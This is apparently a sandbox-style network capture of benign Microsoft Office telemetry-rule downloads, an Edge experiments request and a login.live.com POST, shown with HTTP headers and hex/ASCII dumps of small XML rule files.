2024-11-26 21:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:35 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215235Z-174f784596886s2bhC1EWR743w0000000w1000000000fm40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:35 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:35 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:35 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215235Z-174f78459685726chC1EWRsnbg0000000w1000000000gs8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:35 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:35 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:35 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215235Z-174f7845968qj8jrhC1EWRh41s0000000vz000000000bh6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:37 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:37 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215237Z-174f7845968g6hv8hC1EWR1v2n00000003x000000000gpg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:37 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:37 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215237Z-174f7845968n2hr8hC1EWR9cag0000000vrg000000003w0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:37 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:37 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215237Z-174f7845968px8v7hC1EWR08ng0000000wa0000000008f3u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:38 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215238Z-174f7845968xlwnmhC1EWR0sv80000000vu000000000g93e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:38 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215242Z-174f7845968xlwnmhC1EWR0sv80000000vy0000000002x35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49789	94.245.104.56	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:39 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:40 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 26 Nov 2024 21:52:39 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=a587c58b7add197be0a9663062a92023b083c99ba7c79b57ef31f5e62dbb3c2f;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:39 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:40 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 8909076a-001e-00a2-6343-40d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215240Z-174f7845968qj8jrhC1EWRh41s0000000w0g0000000064hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:40 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:39 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215240Z-174f7845968px8v7hC1EWR08ng0000000wbg0000000028hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:39 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215240Z-174f7845968l4kp6hC1EWRe8840000000w8000000000epxr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	49794	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
